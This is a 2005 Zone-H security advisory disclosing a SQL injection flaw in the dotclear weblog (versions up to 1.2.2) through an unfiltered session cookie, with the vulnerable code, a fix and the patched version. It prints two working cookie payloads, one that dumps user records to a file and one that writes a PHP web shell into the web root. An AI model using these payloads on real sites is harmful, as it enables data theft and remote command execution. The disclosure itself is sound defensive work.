dotclear version 1.2.2 and below suffer from a remote SQL injection flaw.
420ac553343837f9e66b25995423fc34b88ba28115063849dfae6069552f4f03
Zone-H Research Center Security Advisory 200504
http://www.zone-h.fr
Date of release: 30/11/2005
Software: dotclear (http://www.dotclear.net)
Affected versions: <= 1.2.2
Risk: Medium
Discovered by: Kevin Fernandez "Siegfried" from the Zone-H Research Team
Background
----------
dotclear is a weblog written in PHP.
from http://www.dotclear.net/en/features.html :
-------------------------------------
"Paranoiac author ;-)"
"Extremely securised application."
-------------------------------------
that's why he didn't answer me.
Details
--------
The $ses_id variable isn't filtered before being used in SQL queries
in /inc/session.php :
[...]
function _read($ses_id)
{
$strReq = 'SELECT * FROM '.$this->table.' '.
'WHERE ses_id = \''.$ses_id.'\' ';
$rs = $this->con->select($strReq);
[...] (and other queries in the same file, with the same variable)
Since this file is used in all the pages, it can be used to perform
arbitrary SQL queries by opening a page (for example index.php) with
the following cookie:
dc_xd=siegfried'/**/UNION/**/SELECT
user_id,user_pseudo,user_nom,user_email from dc_user into outfile
"/var/www/blah"/*
or:
dc_xd=siegfried'/**/UNION/**/SELECT "<? system($_GET[blah])
?>","","","" from dc_user into outfile "/var/www/dotclear/blah.php"/*
We can gather the path of dotclear by accessing multiple files
directly in the admin area, for example /ecrire/inc/connexion.php ,
this might help to exploit the SQL injection.
Solution
---------
Update to version 1.2.3 or replace /inc/session.php with the new version:
https://www.dotclear.net/svn/branches/1.2.3-stable/inc/session.php
http://www.dotclear.net/download/dotclear-1.2.3.tar.gz
(vendor contacted on 30/11 and patch released on the same day).
Original advisories:
English version: Check Zone-H.org
French: http://www.zone-h.fr/advisories/read/id=696